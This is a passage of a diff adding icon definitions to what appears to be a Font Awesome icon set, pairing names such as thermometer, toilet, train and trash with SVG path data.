7.98.09 12.1 3.84 21.7 24.58 36.19 46.34 32.37 21.75-3.82 36.28-24.52 32.44-46.22zM606.8 120.9c-88.98-49.38-191.43-67.41-291.98-51.35-27.31 4.36-49.08 26.26-54.04 54.36l-31.73 179.51c-15.39 87.05 95.28 196.27 158.31 207.35 63.03 11.09 204.47-53.79 219.86-140.84l31.73-179.51c4.97-28.11-7.98-56.11-32.15-69.52zm-273.24 96.8c3.84-21.7 24.58-36.19 46.34-32.36 21.76 3.83 36.28 24.52 32.45 46.22-.73 4.12-2.23 7.87-4.07 11.4-8.25-8.91-20.67-15.75-35.32-18.32-14.65-2.58-28.67-.4-39.48 5.17-.53-3.95-.65-7.99.08-12.11zm70.47 198.76c-55.68-9.79-93.52-59.27-89.04-112.9 20.6 25.54 56.21 46.17 99.49 53.78 43.28 7.61 83.82.37 111.93-16.6-14.18 51.94-66.71 85.51-122.38 75.72zm130.3-151.34c-8.25-8.91-20.68-15.75-35.33-18.32-14.65-2.58-28.67-.4-39.48 5.17-.52-3.94-.64-7.98.09-12.1 3.84-21.7 24.58-36.19 46.34-32.37 21.75 3.83 36.28 24.52 32.45 46.22-.73 4.13-2.23 7.88-4.07 11.4z" ], + thermometer: [ 512, 512, [], "f491", "M476.8 20.4c-37.5-30.7-95.5-26.3-131.9 10.2l-45.7 46 50.5 50.5c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.4-50.5-45.1 45.4 50.3 50.4c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L209 167.4l-45.1 45.4L214 263c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.1-50.2L96 281.1V382L7 471c-9.4 9.4-9.4 24.6 0 33.9 9.4 9.4 24.6 9.4 33.9 0l89-89h99.9L484 162.6c34.9-34.9 42.2-101.5-7.2-142.2z" ], + "thermometer-empty": [ 256, 512, [], "f2cb", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-35.346 28.654-64 64-64s64 28.654 64 64zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" ], + "thermometer-full": [ 256, 512, [], "f2c7", "M224 96c0-53.019-42.981-96-96-96S32 42.981 32 96v203.347C12.225 321.756.166 351.136.002 383.333c-.359 70.303 56.787 128.176 127.089 128.664.299.002.61.003.909.003 70.698 0 128-57.304 128-128 0-32.459-12.088-62.09-32-84.653V96zm-96 368l-.576-.002c-43.86-.304-79.647-36.544-79.423-80.42.173-33.98 19.266-51.652 31.999-66.08V96c0-26.467 21.533-48 48-48s48 21.533 48 48v221.498c12.63 14.312 32 32.164 32 66.502 0 44.112-35.888 80-80 80zm64-80c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V96c0-17.673 14.327-32 32-32s32 14.327 32 32v232.583c19.124 11.068 32 31.732 32 55.417z" ], + "thermometer-half": [ 256, 512, [], "f2c9", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V224c0-17.673 14.327-32 32-32s32 14.327 32 32v104.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" ], + "thermometer-quarter": [ 256, 512, [], "f2ca", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V288c0-17.673 14.327-32 32-32s32 14.327 32 32v40.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" ], + "thermometer-three-quarters": [ 256, 512, [], "f2c8", "M192 384c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64 0-23.685 12.876-44.349 32-55.417V160c0-17.673 14.327-32 32-32s32 14.327 32 32v168.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" ], + "thumbs-down": [ 512, 512, [], "f165", "M0 56v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56zm40 200c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24zm272 256c-20.183 0-29.485-39.293-33.931-57.795-5.206-21.666-10.589-44.07-25.393-58.902-32.469-32.524-49.503-73.967-89.117-113.111a11.98 11.98 0 0 1-3.558-8.521V59.901c0-6.541 5.243-11.878 11.783-11.998 15.831-.29 36.694-9.079 52.651-16.178C256.189 17.598 295.709.017 343.995 0h2.844c42.777 0 93.363.413 113.774 29.737 8.392 12.057 10.446 27.034 6.148 44.632 16.312 17.053 25.063 48.863 16.382 74.757 17.544 23.432 19.143 56.132 9.308 79.469l.11.11c11.893 11.949 19.523 31.259 19.439 49.197-.156 30.352-26.157 58.098-59.553 58.098H350.723C358.03 364.34 384 388.132 384 430.548 384 504 336 512 312 512z" ], + "thumbs-up": [ 512, 512, [], "f164", "M104 224H24c-13.255 0-24 10.745-24 24v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V248c0-13.255-10.745-24-24-24zM64 472c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zM384 81.452c0 42.416-25.97 66.208-33.277 94.548h101.723c33.397 0 59.397 27.746 59.553 58.098.084 17.938-7.546 37.249-19.439 49.197l-.11.11c9.836 23.337 8.237 56.037-9.308 79.469 8.681 25.895-.069 57.704-16.382 74.757 4.298 17.598 2.244 32.575-6.148 44.632C440.202 511.587 389.616 512 346.839 512l-2.845-.001c-48.287-.017-87.806-17.598-119.56-31.725-15.957-7.099-36.821-15.887-52.651-16.178-6.54-.12-11.783-5.457-11.783-11.998v-213.77c0-3.2 1.282-6.271 3.558-8.521 39.614-39.144 56.648-80.587 89.117-113.111 14.804-14.832 20.188-37.236 25.393-58.902C282.515 39.293 291.817 0 312 0c24 0 72 8 72 81.452z" ], + thumbtack: [ 384, 512, [], "f08d", "M298.028 214.267L285.793 96H328c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v48c0 13.255 10.745 24 24 24h42.207L85.972 214.267C37.465 236.82 0 277.261 0 328c0 13.255 10.745 24 24 24h136v104.007c0 1.242.289 2.467.845 3.578l24 48c2.941 5.882 11.364 5.893 14.311 0l24-48a8.008 8.008 0 0 0 .845-3.578V352h136c13.255 0 24-10.745 24-24-.001-51.183-37.983-91.42-85.973-113.733z" ], + "ticket-alt": [ 576, 512, [], "f3ff", "M128 160h320v192H128V160zm400 96c0 26.51 21.49 48 48 48v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c26.51 0 48-21.49 48-48s-21.49-48-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v96c-26.51 0-48 21.49-48 48zm-48-104c0-13.255-10.745-24-24-24H120c-13.255 0-24 10.745-24 24v208c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V152z" ], + times: [ 352, 512, [], "f00d", "M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z" ], + "times-circle": [ 512, 512, [], "f057", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z" ], + tint: [ 352, 512, [], "f043", "M205.22 22.09c-7.94-28.78-49.44-30.12-58.44 0C100.01 179.85 0 222.72 0 333.91 0 432.35 78.72 512 176 512s176-79.65 176-178.09c0-111.75-99.79-153.34-146.78-311.82zM176 448c-61.75 0-112-50.25-112-112 0-8.84 7.16-16 16-16s16 7.16 16 16c0 44.11 35.89 80 80 80 8.84 0 16 7.16 16 16s-7.16 16-16 16z" ], + "tint-slash": [ 640, 512, [], "f5c7", "M633.82 458.1L494.97 350.78c.52-5.57 1.03-11.16 1.03-16.87 0-111.76-99.79-153.34-146.78-311.82-7.94-28.78-49.44-30.12-58.44 0-15.52 52.34-36.87 91.96-58.49 125.68L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM144 333.91C144 432.35 222.72 512 320 512c44.71 0 85.37-16.96 116.4-44.7L162.72 255.78c-11.41 23.5-18.72 48.35-18.72 78.13z" ], + tired: [ 496, 512, [], "f5c8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 288c51.9 0 115.3 43.8 123.2 106.7 1.7 13.6-8 24.6-17.7 20.4-25.9-11.1-64.4-17.4-105.5-17.4s-79.6 6.3-105.5 17.4c-9.8 4.2-19.4-7-17.7-20.4C132.7 331.8 196.1 288 248 288z" ], + "toggle-off": [ 576, 512, [], "f204", "M384 64H192C85.961 64 0 149.961 0 256s85.961 192 192 192h192c106.039 0 192-85.961 192-192S490.039 64 384 64zM64 256c0-70.741 57.249-128 128-128 70.741 0 128 57.249 128 128 0 70.741-57.249 128-128 128-70.741 0-128-57.249-128-128zm320 128h-48.905c65.217-72.858 65.236-183.12 0-256H384c70.741 0 128 57.249 128 128 0 70.74-57.249 128-128 128z" ], + "toggle-on": [ 576, 512, [], "f205", "M384 64H192C86 64 0 150 0 256s86 192 192 192h192c106 0 192-86 192-192S490 64 384 64zm0 320c-70.8 0-128-57.3-128-128 0-70.8 57.3-128 128-128 70.8 0 128 57.3 128 128 0 70.8-57.3 128-128 128z" ], + toilet: [ 384, 512, [], "f7d8", "M368 48c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v16c0 8.8 7.2 16 16 16h16v156.7C11.8 214.8 0 226.9 0 240c0 67.2 34.6 126.2 86.8 160.5l-21.4 70.2C59.1 491.2 74.5 512 96 512h192c21.5 0 36.9-20.8 30.6-41.3l-21.4-70.2C349.4 366.2 384 307.2 384 240c0-13.1-11.8-25.2-32-35.3V48h16zM80 72c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H88c-4.4 0-8-3.6-8-8V72zm112 200c-77.1 0-139.6-14.3-139.6-32s62.5-32 139.6-32 139.6 14.3 139.6 32-62.5 32-139.6 32z" ], + "toilet-paper": [ 576, 512, [], "f71e", "M128 0C74.98 0 32 85.96 32 192v172.07c0 41.12-9.8 62.77-31.17 126.87C-2.62 501.3 5.09 512 16.01 512h280.92c13.77 0 26-8.81 30.36-21.88 12.83-38.48 24.71-72.4 24.71-126.05V192c0-83.6 23.67-153.52 60.44-192H128zM96 224c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zM480 0c-53.02 0-96 85.96-96 192s42.98 192 96 192 96-85.96 96-192S533.02 0 480 0zm0 256c-17.67 0-32-28.65-32-64s14.33-64 32-64 32 28.65 32 64-14.33 64-32 64z" ], + "toilet-paper-slash": [ 640, 512, [], "e072", "M64,192V364.13c0,41.12-9.75,62.75-31.12,126.87A16,16,0,0,0,48,512H328.86a31.87,31.87,0,0,0,30.38-21.87c9.31-27.83,18-53.35,22.18-85.55l-316-244.25C64.53,170.66,64,181.19,64,192ZM633.82,458.09l-102-78.81C575.28,360.91,608,284.32,608,192,608,86,565,0,512,0s-96,86-96,192c0,42,7,80.4,18.43,112L384,265V192c0-83.62,23.63-153.5,60.5-192H160c-23.33,0-44.63,16.83-61.26,44.53L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09ZM512,256c-17.63,0-32-28.62-32-64s14.37-64,32-64,32,28.63,32,64S529.62,256,512,256Z" ], + toolbox: [ 512, 512, [], "f552", "M502.63 214.63l-45.25-45.25c-6-6-14.14-9.37-22.63-9.37H384V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v80H77.25c-8.49 0-16.62 3.37-22.63 9.37L9.37 214.63c-6 6-9.37 14.14-9.37 22.63V320h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-82.75c0-8.48-3.37-16.62-9.37-22.62zM320 160H192V96h128v64zm64 208c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H192v16c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H0v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96H384v16z" ], + tools: [ 512, 512, [], "f7d9", "M501.1 395.7L384 278.6c-23.1-23.1-57.6-27.6-85.4-13.9L192 158.1V96L64 0 0 64l96 128h62.1l106.6 106.6c-13.6 27.8-9.2 62.3 13.9 85.4l117.1 117.1c14.6 14.6 38.2 14.6 52.7 0l52.7-52.7c14.5-14.6 14.5-38.2 0-52.7zM331.7 225c28.3 0 54.9 11 74.9 31l19.4 19.4c15.8-6.9 30.8-16.5 43.8-29.5 37.1-37.1 49.7-89.3 37.9-136.7-2.2-9-13.5-12.1-20.1-5.5l-74.4 74.4-67.9-11.3L334 98.9l74.4-74.4c6.6-6.6 3.4-17.9-5.7-20.2-47.4-11.7-99.6.9-136.6 37.9-28.5 28.5-41.9 66.1-41.2 103.6l82.1 82.1c8.1-1.9 16.5-2.9 24.7-2.9zm-103.9 82l-56.7-56.7L18.7 402.8c-25 25-25 65.5 0 90.5s65.5 25 90.5 0l123.6-123.6c-7.6-19.9-9.9-41.6-5-62.7zM64 472c-13.2 0-24-10.8-24-24 0-13.3 10.7-24 24-24s24 10.7 24 24c0 13.2-10.7 24-24 24z" ], + tooth: [ 448, 512, [], "f5c9", "M443.98 96.25c-11.01-45.22-47.11-82.06-92.01-93.72-32.19-8.36-63 5.1-89.14 24.33-3.25 2.39-6.96 3.73-10.5 5.48l28.32 18.21c7.42 4.77 9.58 14.67 4.8 22.11-4.46 6.95-14.27 9.86-22.11 4.8L162.83 12.84c-20.7-10.85-43.38-16.4-66.81-10.31-44.9 11.67-81 48.5-92.01 93.72-10.13 41.62-.42 80.81 21.5 110.43 23.36 31.57 32.68 68.66 36.29 107.35 4.4 47.16 10.33 94.16 20.94 140.32l7.8 33.95c3.19 13.87 15.49 23.7 29.67 23.7 13.97 0 26.15-9.55 29.54-23.16l34.47-138.42c4.56-18.32 20.96-31.16 39.76-31.16s35.2 12.85 39.76 31.16l34.47 138.42c3.39 13.61 15.57 23.16 29.54 23.16 14.18 0 26.48-9.83 29.67-23.7l7.8-33.95c10.61-46.15 16.53-93.16 20.94-140.32 3.61-38.7 12.93-75.78 36.29-107.35 21.95-29.61 31.66-68.8 21.53-110.43z" ], + torah: [ 640, 512, [], "f6a0", "M320.05 366.48l17.72-29.64h-35.46zm99.21-166H382.4l18.46 30.82zM48 0C21.49 0 0 14.33 0 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32C96 14.33 74.51 0 48 0zm172.74 311.5h36.85l-18.46-30.82zm161.71 0h36.86l-18.45-30.8zM128 464h384V48H128zm66.77-278.13a21.22 21.22 0 0 1 18.48-10.71h59.45l29.13-48.71a21.13 21.13 0 0 1 18.22-10.37A20.76 20.76 0 0 1 338 126.29l29.25 48.86h59.52a21.12 21.12 0 0 1 18.1 32L415.63 256 445 305a20.69 20.69 0 0 1 .24 21.12 21.25 21.25 0 0 1-18.48 10.72h-59.47l-29.13 48.7a21.13 21.13 0 0 1-18.16 10.4 20.79 20.79 0 0 1-18-10.22l-29.25-48.88h-59.5a21.11 21.11 0 0 1-18.1-32L224.36 256 195 207a20.7 20.7 0 0 1-.23-21.13zM592 0c-26.51 0-48 14.33-48 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32c0-17.67-21.49-32-48-32zM320 145.53l-17.78 29.62h35.46zm-62.45 55h-36.81l18.44 30.8zm29.58 111h65.79L386.09 256l-33.23-55.52h-65.79L253.9 256z" ], + "torii-gate": [ 512, 512, [], "f6a1", "M376.45 32h-240.9A303.17 303.17 0 0 1 0 0v96c0 17.67 14.33 32 32 32h32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h256v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h48c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-48v-64h32c17.67 0 32-14.33 32-32V0a303.17 303.17 0 0 1-135.55 32zM128 128h96v64h-96v-64zm256 64h-96v-64h96v64z" ], + tractor: [ 640, 512, [], "f722", "M528 336c-48.6 0-88 39.4-88 88s39.4 88 88 88 88-39.4 88-88-39.4-88-88-88zm0 112c-13.23 0-24-10.77-24-24s10.77-24 24-24 24 10.77 24 24-10.77 24-24 24zm80-288h-64v-40.2c0-14.12 4.7-27.76 13.15-38.84 4.42-5.8 3.55-14.06-1.32-19.49L534.2 37.3c-6.66-7.45-18.32-6.92-24.7.78C490.58 60.9 480 89.81 480 119.8V160H377.67L321.58 29.14A47.914 47.914 0 0 0 277.45 0H144c-26.47 0-48 21.53-48 48v146.52c-8.63-6.73-20.96-6.46-28.89 1.47L36 227.1c-8.59 8.59-8.59 22.52 0 31.11l5.06 5.06c-4.99 9.26-8.96 18.82-11.91 28.72H22c-12.15 0-22 9.85-22 22v44c0 12.15 9.85 22 22 22h7.14c2.96 9.91 6.92 19.46 11.91 28.73l-5.06 5.06c-8.59 8.59-8.59 22.52 0 31.11L67.1 476c8.59 8.59 22.52 8.59 31.11 0l5.06-5.06c9.26 4.99 18.82 8.96 28.72 11.91V490c0 12.15 9.85 22 22 22h44c12.15 0 22-9.85 22-22v-7.14c9.9-2.95 19.46-6.92 28.72-11.91l5.06 5.06c8.59 8.59 22.52 8.59 31.11 0l31.11-31.11c8.59-8.59 8.59-22.52 0-31.11l-5.06-5.06c4.99-9.26 8.96-18.82 11.91-28.72H330c12.15 0 22-9.85 22-22v-6h80.54c21.91-28.99 56.32-48 95.46-48 18.64 0 36.07 4.61 51.8 12.2l50.82-50.82c6-6 9.37-14.14 9.37-22.63V192c.01-17.67-14.32-32-31.99-32zM176 416c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm22-256h-38V64h106.89l41.15 96H198z" ], + trademark: [ 640, 512, [], "f25c", "M260.6 96H12c-6.6 0-12 5.4-12 12v43.1c0 6.6 5.4 12 12 12h85.1V404c0 6.6 5.4 12 12 12h54.3c6.6 0 12-5.4 12-12V163.1h85.1c6.6 0 12-5.4 12-12V108c.1-6.6-5.3-12-11.9-12zM640 403l-24-296c-.5-6.2-5.7-11-12-11h-65.4c-5.1 0-9.7 3.3-11.3 8.1l-43.8 127.1c-7.2 20.6-16.1 52.8-16.1 52.8h-.9s-8.9-32.2-16.1-52.8l-43.8-127.1c-1.7-4.8-6.2-8.1-11.3-8.1h-65.4c-6.2 0-11.4 4.8-12 11l-24.4 296c-.6 7 4.9 13 12 13H360c6.3 0 11.5-4.9 12-11.2l9.1-132.9c1.8-24.2 0-53.7 0-53.7h.9s10.7 33.6 17.9 53.7l30.7 84.7c1.7 4.7 6.2 7.9 11.3 7.9h50.3c5.1 0 9.6-3.2 11.3-7.9l30.7-84.7c7.2-20.1 17.9-53.7 17.9-53.7h.9s-1.8 29.5 0 53.7l9.1 132.9c.4 6.3 5.7 11.2 12 11.2H628c7 0 12.5-6 12-13z" ], + "traffic-light": [ 384, 512, [], "f637", "M384 192h-64v-37.88c37.2-13.22 64-48.38 64-90.12h-64V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v32H0c0 41.74 26.8 76.9 64 90.12V192H0c0 41.74 26.8 76.9 64 90.12V320H0c0 42.84 28.25 78.69 66.99 91.05C79.42 468.72 130.6 512 192 512s112.58-43.28 125.01-100.95C355.75 398.69 384 362.84 384 320h-64v-37.88c37.2-13.22 64-48.38 64-90.12zM192 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z" ], + trailer: [ 640, 512, [], "e041", "M624,320H544V80a16,16,0,0,0-16-16H16A16,16,0,0,0,0,80V368a16,16,0,0,0,16,16H65.61c7.83-54.21,54-96,110.39-96s102.56,41.79,110.39,96H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM96,243.68a176.29,176.29,0,0,0-32,20.71V136a8,8,0,0,1,8-8H88a8,8,0,0,1,8,8Zm96-18.54c-5.31-.49-10.57-1.14-16-1.14s-10.69.65-16,1.14V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,39.25a176.29,176.29,0,0,0-32-20.71V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8ZM384,320H352V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,0H448V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm-304,0a80,80,0,1,0,80,80A80,80,0,0,0,176,320Zm0,112a32,32,0,1,1,32-32A32,32,0,0,1,176,432Z" ], + train: [ 448, 512, [], "f238", "M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zm-48 136V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24zm-176 64c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56z" ], + tram: [ 512, 512, [], "f7da", "M288 64c17.7 0 32-14.3 32-32S305.7 0 288 0s-32 14.3-32 32 14.3 32 32 32zm223.5-12.1c-2.3-8.6-11-13.6-19.6-11.3l-480 128c-8.5 2.3-13.6 11-11.3 19.6C2.5 195.3 8.9 200 16 200c1.4 0 2.8-.2 4.1-.5L240 140.8V224H64c-17.7 0-32 14.3-32 32v224c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H272v-91.7l228.1-60.8c8.6-2.3 13.6-11.1 11.4-19.6zM176 384H80v-96h96v96zm160-96h96v96h-96v-96zm-32 0v96h-96v-96h96zM192 96c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z" ], + transgender: [ 384, 512, [], "f224", "M372 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C198.5 104.1 172.2 96 144 96 64.5 96 0 160.5 0 240c0 68.5 47.9 125.9 112 140.4V408H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM144 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + "transgender-alt": [ 480, 512, [], "f225", "M468 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C294.5 104.1 268.2 96 240 96c-28.2 0-54.5 8.1-76.7 22.1l-16.5-16.5 19.8-19.8c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0l-19.8 19.8-19-19 16.9-16.9C107.1 12.9 101.7 0 91 0H12C5.4 0 0 5.4 0 12v79c0 10.7 12.9 16 20.5 8.5l16.9-16.9 19 19-19.8 19.8c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l19.8-19.8 16.5 16.5C104.1 185.5 96 211.8 96 240c0 68.5 47.9 125.9 112 140.4V408h-36c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM240 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + trash: [ 448, 512, [], "f1f8", "M432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32z" ], + "trash-alt": [ 448, 512, [], "f2ed", "M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm272-256a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "trash-restore": [ 448, 512, [], "f829", "M53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32zm70.11-175.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 